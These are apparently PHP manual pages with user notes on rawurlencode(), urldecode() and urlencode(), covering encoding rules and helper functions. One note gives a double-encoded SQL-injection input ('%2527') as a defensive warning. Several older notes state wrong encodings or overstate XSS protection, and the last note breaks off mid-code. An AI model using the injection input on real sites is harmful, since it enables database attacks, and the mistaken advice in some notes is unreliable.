Currently this usage has only been allowed in the hostname part, but there are some proposals to allow such use in some URL schemes. Similar extensions are now found that use the "{}" characters as "reserved" characters with special semantics, instead of "unsafe" characters that must be URL encoded...

Note also that some characters are currently "reserved" but should have instead been considered as "unsafe": this includes the parenthesis "()" which are clearly unsafe when a URL is used in MIME headers.

Because of this, if a valid URL contains "()" characters, one should use an upper-level encoding to either enclose the URL with a pair of "unsafe" characters defined in the upper-level protocol (for example a "<>" pair in MIME headers, because these characters cannot be part of a valid URL)...
15-Nov-2002 04:20
About the ";" reserved character in URLs:

rawurlencode() will encode it with a "%2A" triplet. When used on the path part of a URL, this will break the usage defined in URL RFCs, that allows specifying additional parameters to *EACH* element of a path (separated by "/").

So if a path element contains a ";" character (some filesystems allow it, but this is not recommanded) as part of a directory name, this character must be encoded so that it won't be mixed with a parameter extension.

This mapping is allowed on URLs that use a hierarchical scheme (HTTP, HTTPS, FTP, FILE, ...), so that each path element prefixed by "/" can have additional navigational parameters such as authorization strings or semantic parameters.

The generic format of a path element may include path elements such as:
"/." or "/.." or "/.specialname" or "/regularname"
Each part may be followed by a ";" and other parameters separated by ";". These parameters can be eithger ordered or unordered. Unordered parameters have a symbolic name separated from their value with an equal sign.

Do not mix path element parameters with a query string: these parameters are directly attached to the individual path element, and this makes a difference when this path element is not the last one of the URL. These parameters are part of the resource name (unlike the query string), and the semantic of "." and ".." apply to the full path element with its parameters, so that:
"/subdir1/subdir2/page.html;charset=UTF-8/../index.html"
will resolve to "/subdir1/index.html".

Note that:
"/subdir1/subdir2/page.html;charset=UTF-8"
designates a DISTINCT resource name from:
"/subdir1/subdir2/page.html"
It does not necessarily involves a query, and so it can be cached by default (unlike URLs that contain a query string).

When using path element parameters, their optional name and required value must be rawurlencode()'d separately before inserting ";" and "=" parameters and creating the path elements that will be imploded in the full path.

The consequence is that you MUST not urlencode() or rawurlencode individual path elements, without first parsing them:
- first explode the path into its path lements separated by "/"
- then explode each path element in their name and parameters separated by ";" characters
- then split path element parameters that contain a "=" sign into a name/value pair.
- make sure that unordered path paremeters (that have been cut according to "=" into a pair) are specified *after* ordered parameters (including the main path element name) in each path element, and that no two unordered parameters have the same name (this restriction does not occur on unordered, unnamed parameters which only supply a value).
- finally you can interpret rawurlencoded names and values that constitute each path element.

Note also that some non-compliant HTTP servers consider that named parameters are ordered, and don't add a semantic to the ";" and "=" used to break up the list of path element parameters. On client agents, when validating URLs, it's best then not to try to interpret this list, and you should just split the main part of a path element and the parameters list by isolating the first ";" that introduces this list. However, the encoded parameter list cannot include any "/" parameter.

Caveats: note that path element parameters (introduced by ";") may be used on upper levels of a hierarchic URL, even before the final document name and its query parameters. When building lists of URLs, you should not separate URLs blindly with a ";" separator, as each URL may include a ";" character, in their path part (the ";" character cannot ocur safely in a query string). In that case, use a surrounding pair such as "<>" or quotes to enclose each URL in such a list.
15-Nov-2002 03:41
--- 1) About "reserved" characters in URLS:

Beware that RFC 1738 specifies that the characters "{", "}", "|", "\", "^", "~", "[", "]", and "`" are all considered unsafe and SHOULD be URL-encoded with a "%xx" triplet within *ALL* URLs.

However, some HTTP URLs seem to use the "~" character as a prefix for a user account for example:
http://www.any.host.domain/~user/subpath/page.html?query#fragment

This usage is acceptable, but the RFC specifies that "%7E" should be used instead of "~" in the path component. HTTP servers should accept "~" as being equivalent to "%7E", and according to the RFC, the "%7E" form should be the canonical one.

However, some HTTP servers are not fully complying to this RFC and consider "%7E" differently from "~" (i.e. they consider it as being part of a path component name, and search a directory name containing a "~" character, instead of mapping the "~user" path component to a user's directory. In that case, these non compliant HTTP server will not find the resource associated to that URL and may return a 404 error or other errors such as an access denied.

When using rawurlencode() on such HTTP URLs, it's best to consider this legacy usage, by using str_replace() on the result to convert back "/%7E" to "/~", so that the URLs will correctly map to the legacy use of the "~" character by these servers. On compliant HTTP servers, they will treat the "~" unsafe character equivalently with the "%7E" recommanded form, so they will automatically canonicalize the "~" character into "%7E".

--- 2) Encoding of hostnames in URLs

Finally, beware that host domain names parts in URLs *MUST NOT* be encoded with rawurlencode(), as the "[" and "]" are valid delimiters that *MUST* be used to reference an IPv6 address or other hostnames that don't fit to the restricted set of characters allowed in a host name (the "[" and "]" characters MUST be used if the hostname includes characters such as ":" which is typically used to specify an alternate non-default port number).

The encoding of host names uses another encoding, required to encode international domain names, with a base-64 encoding of Unicode characters and a "bq--" prefix. This encoding must be used only on individual subdomain parts (separated by "." characters). This encoding does not use any "%xx" triplets.

So NEVER use urlencode() or rawurlencode() on an unparsed URL, unless this full URL is part of a query parameter string!

--- 3) Encoding of username/passwords in URLs:

There is no standard to specify a password in a URL. In fact, there's a legacy usage of the ":" character to separate a username from a password, but it is strongly discouraged. The RFC does not attempt to specify a semantic to the authentication part of an URL (before the "@" character and the hostname part).

If you need to encode a password, always use rawurlencode() on username and passwords separately, and then insert the ":" character to separate both components. Don't use urlencode() (which could use a "+" to encode a space, and would not work because usernames and passwords consider "+" and spaces as being different!)
13-Sep-2002 02:06
rawurlencode() MUST not be used on unparsed URLs.

rawurlencode() should not be used on host and domain name parts (that may include international characters encoded in each domain part with a "q--" prefix followed by a special encoding of the international domain, currently in testbed).

rawurlencode() may be used on usernames and passwords separately (so that it won't encode the ':' and '@' separators).

rawurlencode() must not be used on paths (that may contain '/' separators): the ['path'] element of a parsed URL must first be exploded into individual "directory" names. A directory or filename that contains a space must not be encoded with urlencode() but with this rawurlencode(), so that it will appear as a '%20' hex sequence (not '+')

rawurlencode() must not be used to encode the ['query'] element of a parsed URL. Instead you must use the urlencode() function:

Typical queries often use the '&' separator between each parameter. This '&' separator however is just a convention, used in the www-url-encoded format for HTML forms using the default GET method. However, when references are done in a HTML page to an URL that contains static query parameters, these '&' separators should be encoded in the HTML code as '&amp;' for HTML conformance. This is not part of the URL specification, but of the HTML encapsulation! Some browsers forget this, and send '&amp;' with their HTTP GET query. You may wish to substitute '&amp;' by '&' when parsing and validating URLs. This should be done BEFORE calling urlencode() on query parts.

The ['fragment'] part of a parsed URL (after the first '#' separator found in any URL) must not be encoded with this rawurlencode() function but instead by urlencode().

Validating a URL sent in a HTTP request is then more complicated than what you may think. This must be done only on parsed URLs (where the basic elements of an URL have been splitted), and then you must explode the path components, and check the presence of '&amp;' sequences in the query or fragment parts.

The next thing to do is to check the URL scheme that you want to support (for example, only 'http', 'https', or 'ftp').

You may wich to check the ['port'] part to see if it's really a decimal integer between 1 and 65535.
You may wish to remove the default port number used by the URL schemes you want to support (for example the port '80' for 'http', the port '21' for 'ftp', the port '443' for 'https'), and restrict severely all port numbers below 1024, or some critical ports below 140 (this includes DNS and NetBios ports).

Then you may wish to control severely the ['host'] part (in fact a full host domain name or an IP address), by forbidding those host names that don't contain at least one dot, forbidding those that start with a dot, those that contain two consecutive dots, those that start or finish with a '-' dash, those that contain '.-' or '-.' (invalid in all domain names), those that contain two dashes in another position than the second and third character of a domain name part and not folled by at least one other character, forbid top level domain names that have only one non numeric character, or more than 6 characters (".museum" is, for now, the longest acceptable TLD), check that pseudo-TLD names that are pure integers are effectively between 0 and 255, in that case check that this is a valid IPv4 address by comparing it to long2ip(ip2long($host)), ...

This done, you must use the urlencode() function on all parts up to the exploded path elements, and rawurlencode() on the query and fragment parts, according to the specs, to recreate a complete and validated URL.
dphantom at ticino dot com 03-Feb-2002 11:48
PHP's functions rawurlencode() and urlencode(), both encode the whole argument parameter string, making the result useless as a valid link.

The function listed here encodes a link string (e.g. http://www.domain.com/long_path/to\file.php?query=param#fragm) to a valid <a href=""> parameter string, preserving the original URI structure and the path given.

function linkencode ($p_url) {
    $ta = parse_url($p_url);
    if (!empty($ta[scheme])) { $ta[scheme].='://'; }
    if (!empty($ta[pass]) and !empty($ta[user])) {
            $ta[user].=':';
            $ta[pass]=rawurlencode($ta[pass]).'@';
    } elseif (!empty($ta[user])) {
        $ta[user].='@';
    }
    if (!empty($ta[port]) and !empty($ta[host])) {
        $ta[host]=''.$ta[host].':';
    } elseif    (!empty($ta[host])) {
        $ta[host]=$ta[host];
    }
    if (!empty($ta[path])) {
        $tu='';
        $tok=strtok($ta[path], "\\/");
        while (strlen($tok)) {
            $tu.=rawurlencode($tok).'/';
            $tok=strtok("\\/");
        }
        $ta[path]='/'.trim($tu, '/');
    }
    if (!empty($ta[query])) { $ta[query]='?'.$ta[query]; }
    if (!empty($ta[fragment])) { $ta[fragment]='#'.$ta[fragment]; }
    return implode('', array($ta[scheme], $ta[user], $ta[pass], $ta[host], $ta[port], $ta[path], $ta[query], $ta[fragment]));
}


Decodes URL-encoded string

  • Â« rawurlencode
  • urlencode Â»
  • PHP Manual
  • URL Functions
  • Decodes URL-encoded string

urldecode

(PHP 4, PHP 5)

urldecode — Decodes URL-encoded string

Description

string urldecode ( string $str )

Decodes any %## encoding in the given string. Plus symbols ('+') are decoded to a space character.

Parameters

str

The string to be decoded.

Return Values

Returns the decoded string.

Examples

Example #1 urldecode() example

<?php
$query = "my=apples&are=green+and+red";

foreach (explode('&', $query) as $chunk) {
    $param = explode("=", $chunk);

    if ($param) {
        printf("Value for parameter \"%s\" is \"%s\"<br/>\n", urldecode($param[0]), urldecode($param[1]));
    }
}
?>

Notes

Warning

The superglobals $_GET and $_REQUEST are already decoded. Using urldecode() on an element in $_GET or $_REQUEST could have unexpected and dangerous results.

See Also

  • urlencode() - URL-encodes string
  • rawurlencode() - URL-encode according to RFC 3986
  • rawurldecode() - Decode URL-encoded strings
  • » RFC 3986

User Contributed Notes

aravind dot a dot padmanabhan at gmail dot com 02-Sep-2013 07:26
It seems that the $_REQUEST global parameter is automatically decoded only if the content type is application/x-www-form-urlencoded.

if the content type is multipart/form-data. the data remains un-decoded. and we have to manually handle the decoding at our end
alejandro at devenet dot net 15-Dec-2010 03:27
When the client send Get data, utf-8 character encoding have a tiny problem with the urlencode.
Consider the "Âº" character.
Some clients can send (as example)
foo.php?myvar=%BA
and another clients send
foo.php?myvar=%C2%BA (The "right" url encoding)

in this scenary, you assign the value into variable $x

<?php
$x = $_GET['myvar'];
?>

$x store: in the first case "ï¿½" (bad) and in the second case "Âº" (good)

To fix that, you can use this function:

<?php
function to_utf8( $string ) {
// From http://w3.org/International/questions/qa-forms-utf-8.html
    if ( preg_match('%^(?:
      [\x09\x0A\x0D\x20-\x7E]            # ASCII
    | [\xC2-\xDF][\x80-\xBF]             # non-overlong 2-byte
    | \xE0[\xA0-\xBF][\x80-\xBF]         # excluding overlongs
    | [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}  # straight 3-byte
    | \xED[\x80-\x9F][\x80-\xBF]         # excluding surrogates
    | \xF0[\x90-\xBF][\x80-\xBF]{2}      # planes 1-3
    | [\xF1-\xF3][\x80-\xBF]{3}          # planes 4-15
    | \xF4[\x80-\x8F][\x80-\xBF]{2}      # plane 16
)*$%xs', $string) ) {
        return $string;
    } else {
        return iconv( 'CP1252', 'UTF-8', $string);
    }
}
?>

and assign in this way:

<?php
$x = to_utf8( $_GET['myvar'] );
?>

$x store: in the first case "Âº" (good) and in the second case "Âº" (good)

Solve a lot of i18n problems.

Please fix the auto-urldecode of $_GET var in the next PHP version.

Bye.

Alejandro Salamanca
mail dot roliveira at gmail dot com 19-May-2009 01:50
Send json to PHP via AJAX (POST)

If you send json data via ajax, and encode it with encodeURIComponent in javascript, then on PHP side, you will have to do stripslashes on your $_POST['myVar'].

After this, you can do json_decode on your string.

Ex.:

<?php
// first use encodeURIComponent on javascript to encode the string
// receive json string and prepare it to json_decode
$jsonStr = stripslashes ($_POST['action']);
// decode to php object
$json = json_decode ($jsonStr);

// $json is now a php object
?>
Jan Vratny 12-Jun-2008 02:09
mkaganer at gmail dot com:

try using encodeURI() instead of encode() in javascript. That worked for me, while your solution did not on __some__ national characters (at least in IE6).
Joe 03-Apr-2008 08:11
It's worth pointing out that if you are using AJAX and need to encode strings that are being sent to a PHP application, you may not need to decode them in PHP.

<?php
echo stripslashes(nl2br($_POST['message']));
?>

Will properly output a message sent with the javascript code if the message is encoded:

message = encodeURIComponent(message)

And is sent with an AJAX POST request with the header:
ajaxVar.setRequestHeader('Content-type', 'application/x-www-form-urlencoded')
mkaganer at gmail dot com 04-Dec-2007 11:58
B.H.

I had troubles converting Unicode-encoded data in $_GET (like this: %u05D8%u05D1%u05E2) which is generated by JavaScript's escape() function to UTF8 for server-side processing.

Finally, i've found a simple solution (only 3 lines of code) that does it (at least in my configuration):

<?php
  function utf8_urldecode($str) {
    $str = preg_replace("/%u([0-9a-f]{3,4})/i","&#x\\1;",urldecode($str));
    return html_entity_decode($str,null,'UTF-8');;
  }
?>

note that documentation for html_entity_decode() states that "Support for multi-byte character sets was added at PHP 5.0.0" so this might not work for PHP 4
tikitiki at mybboard dot com 06-Oct-2006 12:56
Here is a rewritten example that does the same thing but runs cleaner.

<?php
$a = explode('&', $QUERY_STRING);

foreach($a as $key => $b)
{
   $b = split('=', $b);
   echo 'Value for parameter '.htmlspecialchars(urldecode($b[0])).' is '.htmlspecialchars(urldecode($b[1]))."<br />\n";
}
?>
Visual 18-May-2006 09:02
If you are escaping strings in javascript and want to decode them in PHP with urldecode (or want PHP to decode them automatically when you're putting them in the query string or post request), you should use the javascript function encodeURIComponent() instead of escape(). Then you won't need any of the fancy custom utf_urldecode functions from the previous comments.
rosty dot kerei at gmail dot com 19-Apr-2006 06:40
This function doesn't decode unicode characters. I wrote a function that does.

function unicode_urldecode($url)
{
    preg_match_all('/%u([[:alnum:]]{4})/', $url, $a);

    foreach ($a[1] as $uniord)
    {
        $dec = hexdec($uniord);
        $utf = '';

        if ($dec < 128)
        {
            $utf = chr($dec);
        }
        else if ($dec < 2048)
        {
            $utf = chr(192 + (($dec - ($dec % 64)) / 64));
            $utf .= chr(128 + ($dec % 64));
        }
        else
        {
            $utf = chr(224 + (($dec - ($dec % 4096)) / 4096));
            $utf .= chr(128 + ((($dec % 4096) - ($dec % 64)) / 64));
            $utf .= chr(128 + ($dec % 64));
        }

        $url = str_replace('%u'.$uniord, $utf, $url);
    }

    return urldecode($url);
}
spam at soiland dot no 06-Apr-2005 02:45
About reg_var and "html reserved words"

Do not add spaces as the user suggests.

Instead, do what all HTML standards says and encode & in URLs as &amp; in your HTML.

The reason why & works "most of the time" is that browsers are forgiving and just decode the & as the &-sign. This breaks whenever you have a variable that matches an HTML entity, like "gt" or "copy" or whatever. &copy in your URL will be interpreted as &copy;  (the ; is not mandatory in SGML as it is "implied". In XML it is mandatory.).   The result will be the same as if you had inserted the actual character into your source code, for instance by pressing alt-0169 and actually inserted © in your HTML.

Ie, use:

<a href="?name=stain&amp;fish=knott">mylink</a>

Note that the decoding of &amp; to & is done in the browser, and it's done right after splitting the HTML into tags, attributes and content, but it works both for attributes and content.

This mean you should &entitify all &-s in any other HTML attributes as well, such as in a form with
<input name="fish" value="fish &amp; fries" />.
Matt Johnson 26-Dec-2004 01:49
A reminder: if you are considering using urldecode() on a $_GET variable, DON'T!

Evil PHP:

<?php
# BAD CODE! DO NOT USE!
$term = urldecode($_GET['sterm']);
?>

Good PHP:

<?php
$term = $_GET['sterm'];
?>

The webserver will arrange for $_GET to have been urldecoded once already by the time it reaches you!

Using urldecode() on $_GET can lead to extreme badness, PARTICULARLY when you are assuming "magic quotes" on GET is protecting you against quoting.

Hint: script.php?sterm=%2527 [...]

PHP "receives" this as %27, which your urldecode() will convert to "'" (the singlequote). This may be CATASTROPHIC when injecting into SQL or some PHP functions relying on escaped quotes -- magic quotes rightly cannot detect this and will not protect you!

This "common error" is one of the underlying causes of the Santy.A worm which affects phpBB < 2.0.11.
caribe at flash-brasil dot com dot br 13-Oct-2003 10:55
To allow urldecode to work with Brazilian characters as ç ã ó and other just place this header command :

header('Content-type: text/html; charset=UTF-8');
09-Oct-2003 05:17
nataniel, your function needs to be corrected as follows:

------------------------------------------------------------
function unicode_decode($txt) {
  return ereg_replace('%u([[:alnum:]]{4})', '&#x\1;',$txt);
}
------------------------------------------------------------

since some codes does not begin with %u0.
tomas at penajaca dot com dot br 21-Jul-2003 08:14
urldecode does not decode "%0"  bypassing it. I can cause troble when you are working with fixed lenght strings.

You can you the function below.

function my_urldecode($string){

  $array = split ("%",$string);

  if (is_array($array)){
    while (list ($k,$v) = each ($array)){
       $ascii = base_convert ($v,16,10);
       $ret .= chr ($ascii);
    }
 }
 return ("$ret");
}
regindk at hotmail dot com 24-Apr-2003 03:00
About: bellani at upgrade4 dot it
$str = "pippo.php?param1=&reg_var";
echo rawurldecode($str);
Gives:
pippo.php?param1=®_var
Instead of using a space you should exchange & with the correct W3C &amp;
Like this:
$str = "pippo.php?param1=&amp;reg_var";
echo rawurldecode($str);
bellani at upgrade4 dot it 11-Mar-2003 07:12
If you have a "html reserved word" as variable name (i.e. "reg_var") and you pass it as an argument you will get  a wrong url. i.e.

<a href="pippo.php?param1=&reg_var=">go</a>

you will get a wrong url like this

"pippo.php?param1=®_var"

Simply add a space between "&" and "reg_var" and it will work!

<a href="pippo.php?param1=& reg_var=">go</a>

"pippo.php?param1=&%20reg_var"

Works!!
smolniy at mtu dot ru 07-Feb-2003 11:42
For compatibility of new and old brousers:

%xx -> char
%u0xxxx -> char

function unicode_decode($txt) {
 $txt = ereg_replace('%u0([[:alnum:]]{3})', '&#x\1;',$txt);
 $txt = ereg_replace('%([[:alnum:]]{2})', '&#x\1;',$txt);
 return ($txt);
}
igjav at cesga dot es 16-May-2002 08:48
This seems to decode correctly between most browsers and charater coding configurations. Specially indicated for direct parsing of URL as it comes on environment variables:

function crossUrlDecode($source) {
    $decodedStr = '';
    $pos = 0;
    $len = strlen($source);

    while ($pos < $len) {
        $charAt = substr ($source, $pos, 1);
        if ($charAt == 'Ã') {
            $char2 = substr($source, $pos, 2);
            $decodedStr .= htmlentities(utf8_decode($char2),ENT_QUOTES,'ISO-8859-1');
            $pos += 2;
        }
        elseif(ord($charAt) > 127) {
            $decodedStr .= "&#".ord($charAt).";";
            $pos++;
        }
        elseif($charAt == '%') {
            $pos++;
            $hex2 = substr($source, $pos, 2);
            $dechex = chr(hexdec($hex2));
            if($dechex == 'Ã') {
                $pos += 2;
                if(substr($source, $pos, 1) == '%') {
                    $pos++;
                    $char2a = chr(hexdec(substr($source, $pos, 2)));
                    $decodedStr .= htmlentities(utf8_decode($dechex . $char2a),ENT_QUOTES,'ISO-8859-1');
                }
                else {
                    $decodedStr .= htmlentities(utf8_decode($dechex));
                }
            }
            else {
                $decodedStr .= $dechex;
            }
            $pos += 2;
        }
        else {
            $decodedStr .= $charAt;
            $pos++;
        }
    }

    return $decodedStr;
}


URL-encodes string

  • « urldecode
  • V8js »
  • PHP Manual
  • URL Functions
  • URL-encodes string

urlencode

(PHP 4, PHP 5)

urlencode — URL-encodes string

Description

string urlencode ( string $str )

This function is convenient when encoding a string to be used in a query part of a URL, as a convenient way to pass variables to the next page.

Parameters

str

The string to be encoded.

Return Values

Returns a string in which all non-alphanumeric characters except -_. have been replaced with a percent (%) sign followed by two hex digits and spaces encoded as plus (+) signs. It is encoded the same way that the posted data from a WWW form is encoded, that is the same way as in application/x-www-form-urlencoded media type. This differs from the » RFC 3986 encoding (see rawurlencode()) in that for historical reasons, spaces are encoded as plus (+) signs.

Examples

Example #1 urlencode() example

<?php
echo '<a href="mycgi?foo=', urlencode($userinput), '">';
?>

Example #2 urlencode() and htmlentities() example

<?php
$query_string = 'foo=' . urlencode($foo) . '&bar=' . urlencode($bar);
echo '<a href="mycgi?' . htmlentities($query_string) . '">';
?>

Notes

Note:

Be careful about variables that may match HTML entities. Things like &amp, &copy and &pound are parsed by the browser and the actual entity is used instead of the desired variable name. This is an obvious hassle that the W3C has been telling people about for years. The reference is here: » http://www.w3.org/TR/html4/appendix/notes.html#h-B.2.2.

PHP supports changing the argument separator to the W3C-suggested semi-colon through the arg_separator .ini directive. Unfortunately most user agents do not send form data in this semi-colon separated format. A more portable way around this is to use &amp; instead of & as the separator. You don't need to change PHP's arg_separator for this. Leave it as &, but simply encode your URLs using htmlentities() or htmlspecialchars().

See Also

  • urldecode() - Decodes URL-encoded string
  • htmlentities() - Convert all applicable characters to HTML entities
  • rawurlencode() - URL-encode according to RFC 3986
  • rawurldecode() - Decode URL-encoded strings
  • » RFC 3986

User Contributed Notes

nehuensd at gmail dot com 03-Jun-2014 11:31
if you have a url like this: test-blablabla-4>3-y-3<6 or with any excluded US-ASCII Characters (see chapter 2.4.3 on http://www.ietf.org/rfc/rfc2396.txt) you can use urlencode two times for fix the 403 error.

Example:
.htaccess
Options +FollowSymLinks
RewriteEngine on
RewriteRule ^test-(.*)$ index.php?token=$1

index.php
<?php
    var_dump($_GET);

    $foo = 'test-bla-bla-4>2-y-3<6';
    $foo_encoded = urlencode(urlencode($foo));
?>
<a href="<?=$foo_encoded;?>"><?=$foo_encoded;?></a>

look on index.php
array (size=0)
  empty
test-bla-bla-4%253E2-y-3%253C6

look on test-bla-bla-4%253E2-y-3%253C6
array (size=1)
  'token' => string 'bla-bla-4>2-y-3<6' (length=17)
test-bla-bla-4%253E2-y-3%253C6

the problem is that the characters are decoded 2 times, 1 single, the first time mod_rewrite, the second is to create the php $ _GET array.

also, you can use this technique to the same as the complex functions of other notes.
izhankhalib at gmail dot com 06-Nov-2013 04:33
Below is our jsonform source code in  mongo db which consists a lot of double quotes. we are able to pass this source code to the ajax form submit function by using php urlencode :

<script type="text/javascript">
$(function() {
      // Generate a form using jquery.dfrom
        $("#myform").dform({

        "html":[
            {
                "type":"p",
                "html":"Patient Record"
            },
            {
                "name":"patient.name.first",
                "id":"txt-patient.name.first",
                "caption":"first name",
                "type":"text",
            },
            {

                "name":"patient.name.last",
                "id":"txt-patient.name.last",
                "caption":"last name",
                "type":"text",
            },
            {
               "type" : "submit",
              }

        ]
    });
    });
</script>
<form id="myform">

<?php
//get the json source code from the mongodb
$jsonform= urlencode($this->data['Post']['jsonform']);

?>
//AJAX SUBMIT FORM
<script type="text/javascript">
$('#myform').submit(function(){

    //    passing the variable fro PHP to javascript
        var thejsonform="<?php echo $jsonform ?>";

  //var fname = $('input#fname').val();
  var dataString = "jsonform=" + thejsonform ;

    $.ajax({
          type: "POST",
        //  url: "test1.php",
          data: dataString,
          success: function() {

          }
         });

return false;
});
homebot at yandex dot ru 01-Aug-2013 12:44
Simple static class for array URL encoding

[code]

<?php

/**
*
*  URL Encoding class
*  Use : urlencode_array::go() as function
*
*/
class urlencode_array
{

  /** Main encoding worker
  * @param string $perfix
  * @param array $array
  * @param string $ret byref Push record to return array
  * @param mixed $fe Is first call to function?
  */
  private static function encode_part($perfix, $array, &$ret, $fe = false)
  {
    foreach ( $array as $k => $v )
    {
      switch ( gettype($v))
      {
        case 'float'   :
        case 'integer' :
        case 'string'  : $ret [ $fe ? $k : $perfix.'['.$k.']' ] = $v; break;
        case 'boolean' : $ret [ $fe ? $k : $perfix.'['.$k.']' ] = ( $v ? '1' : '0' ); break;
        case 'null'    : $ret [ $fe ? $k : $perfix.'['.$k.']' ] = 'NULL'; break;
        case 'object'  : $v = (array) $v;
        case 'array'   : self::encode_part( $fe?$perfix.$k:$perfix.'['.$k.']' , $v, $ret, false); break;
      }
    }
  }

  /** UrlEncode Array
  * @param mixed $array Array or stdClass to encode
  * @returns string Strings ready for send as 'application/x-www-form-urlencoded'
  */
  public static function go($array)
  {
    $buff = array();
    if ( gettype($array) == 'object') $array = (array) $array;
    self::encode_part('', $array, $buff, true);
    $retn = '';
    foreach ( $buff as $k => $v )
      $retn .= urlencode($k) . '=' . urlencode($v) . '&';
    return $retn;
  }
}

#-------------------------------- TEST AREA ------------------------------------

$buffer = array(
  'master'  =>'master.zenith.lv',
  'join'    =>array('slave'=>'slave1.zenith.lv','slave2'=>array('node1.slave2.zenith.lv','slave2.zenith.lv')),
  'config'  => new stdClass()
);
$buffer['config']->MaxServerLoad  = 200;
$buffer['config']->MaxSlaveLoad   = 100;
$buffer['config']->DropUserNoWait = true;

$buffer = urlencode_array::go($buffer);
parse_str( $buffer , $data_decoded);

header('Content-Type: text/plain; charset=utf-8');
echo 'Encoded String :' . str_repeat('-', 80) . "\n";
echo $buffer;
echo str_repeat("\n", 3) . 'Decoded String byPhp :' . str_repeat('-', 80) . "\n";
print_r($data_decoded);

[/code]
leaksin [ at ] gmail [ dot ] com 18-Feb-2013 06:05
"cleaning the URL",Totally and in a nut shell:
1.You must use rawurlencode() for parts that come before "?"
2.Use urlencode for all GET parameters (values that come after each "=")(POST parameters are automatically encoded).
3.Use htmlspecialchars for HTML tag parameters and HTML text content

<?php
$url_page = 'example/page/url.php';
//page the link will request
$text = 'this is a simple string';
$id = '4334%3434';
$linktext = "<Clickit> & you will see it";
//text of the link, with HTML unfriendly characters
?>
<?php
// this gives you a clean link to use
$url = "http://localhost/";
$url .= rawurlencode($url_page);
$url .= "?text=" . urlencode($text);
$url .= "&id=" . urlencode($id);

// htmlspecialchars escapes any html that
// might do bad things to your html page
?>
<a href="<?php echo htmlspecialchars($url); ?>">
<?php echo htmlspecialchars($linktext); ?>
</a>
sroolig at gmail dot com 09-Jun-2011 10:40
I write this code, to full protect from XSS:

<?php
   $url = "";
   for($i = 0; $i < strlen($value); $i++)
    $url .= strpos("/:@&%=?.#", $value[$i]) === False ? urlencode($value[$i]) : $value[$i];
   $value = $url;
?>
tk at example dot com 20-May-2010 09:43
To easily encode an array to an url :
<?php
$y= ("I"=>"like","she"=>"likes");
array_walk($y , create_function('&$v,$k', '$v = $k."=".$v ;'));
"index.php?".htmlentities(urlencode(implode("&",$y)), ENT_QUOTES);
?>
returns :
"index.php?I=like&amp;she=likes"
=)
davis dot peixoto at gmail dot com 19-May-2010 03:53
urlencode function and rawurlencode are mostly based on RFC 1738.

However, since 2005 the current RFC in use for URIs standard is RFC 3986.

Here is a function to encode URLs according to RFC 3986.

<?php
function myUrlEncode($string) {
    $entities = array('%21', '%2A', '%27', '%28', '%29', '%3B', '%3A', '%40', '%26', '%3D', '%2B', '%24', '%2C', '%2F', '%3F', '%25', '%23', '%5B', '%5D');
    $replacements = array('!', '*', "'", "(", ")", ";", ":", "@", "&", "=", "+", "$", ",", "/", "?", "%", "#", "[", "]");
    return str_replace($entities, $replacements, urlencode($string));
}
?>
frx dot apps at gmail dot com 07-Apr-2010 05:48
I wrote this simple function that creates a GET query (for URLS) from an array:

<?php
function encode_array($args)
{
  if(!is_array($args)) return false;
  $c = 0;
  $out = '';
  foreach($args as $name => $value)
  {
    if($c++ != 0) $out .= '&';
    $out .= urlencode("$name").'=';
    if(is_array($value))
    {
      $out .= urlencode(serialize($value));
    }else{
      $out .= urlencode("$value");
    }
  }
  return $out . "\n";
}
?>

If there are arrays within the $args array, they will be serialized before being urlencoded.

Some examples:
<?php
echo encode_array(array('foo' => 'bar'));                    // foo=bar
echo encode_array(array('foo&bar' => 'some=weird/value'));   // foo%26bar=some%3Dweird%2Fvalue
echo encode_array(array('foo' => 1, 'bar' =>  'two'));       // foo=1&bar=two
echo encode_array(array('args' => array('key' => 'value'))); // args=a%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A5%3A%22value%22%3B%7D
?>
omid at omidsakhi dot com 24-Feb-2010 08:17
I needed a function in PHP to do the same job as the complete escape function in Javascript. It took me some time not to find it. But findaly I decided to write my own code. So just to save time:

<?php
function fullescape($in)
{
  $out = '';
  for ($i=0;$i<strlen($in);$i++)
  {
    $hex = dechex(ord($in[$i]));
    if ($hex=='')
       $out = $out.urlencode($in[$i]);
    else
       $out = $out .'%'.((strlen($hex)==1) ? ('0'.strtoupper($hex)):(strtoupper($hex)));
  }
  $out = str_replace('+','%20',$out);
  $out = str_replace('_','%5F',$out);
  $out = str_replace('.','%2E',$out);
  $out = str_replace('-','%2D',$out);
  return $out;
 }
?>

It can be fully decoded using the unscape function in Javascript.
temu92 at gmail dot com 23-Jul-2009 07:44
I needed encoding and decoding for UTF8 urls, I came up with these very simple fuctions. Hope this helps!

<?php
    function url_encode($string){
        return urlencode(utf8_encode($string));
    }

    function url_decode($string){
        return utf8_decode(urldecode($string));
    }
?>
daniel+php at danielnorton dot com 29-Jun-2009 04:24
Don't use urlencode() or urldecode() if the text includes an email address, as it destroys the "+" character, a perfectly valid email address character.

Unless you're certain that you won't be encoding email addresses AND you need the readability provided by the non-standard "+" usage, instead always use use rawurlencode() or rawurldecode().
Anonymous 19-Feb-2009 02:32
What about this one? A bit more complex but very practically,...

<?php
static function urlencode($url)
{
        // safely cast back already encoded "&" within the query
        $url = str_replace( "&amp;","&",$url );
        $phpsep = (strlen(ini_get('arg_separator.input')>0))
?ini_get('arg_separator.output')
:"&";
        // cut optionally anchor
        $ancpos = strrpos($url,"#");
        $lasteq = strrpos($url,"=");
        $lastsep = strrpos($url,"&");
        $lastqsep = strrpos($url,"?");
        $firstsep = strpos($url, "?");
        // recognize wrong positioned anchor example.php#anchor?asdasd
        if ($ancpos !== false
        || ($ancpos > 0
            && ($lasteq > 0 && $lasteq < $ancpos )
            && ($lastsep > 0 && $lastsep < $ancpos )
            && ($lastqsep > 0 && $lastqsep < $ancpos )
            )
        )
        {
               $anc = "#" . urlencode( substr( $url,$ancpos+1 ) );
               $url = substr( $url,0,$ancpos );
        }
        else
        {
            $anc = "";
        }
        // separate uri and query string
        if ($firstsep == false)
        {
            $qry = "";    // no query
            $urlenc = $url.$anc;  // anchor
        }
        else
        {
            $qry = substr( $url, $firstsep + 1 ) ;
            $vals = explode( "&", $qry );
            $valsenc = array();
            foreach( $vals as $v )
            {
                $buf = explode( "=", $v );
                $buf[0]=urlencode($buf[0]);
                $buf[1]=urlencode($buf[1]);
                $valsenc[] = implode("=",$buf);
            }
            $urlenc = substr( $url, 0 , $firstsep  );    // encoded origin uri
            $urlenc.= "?" . implode($phpsep, $valsenc )    // encoded query string
            . $anc; // anchor
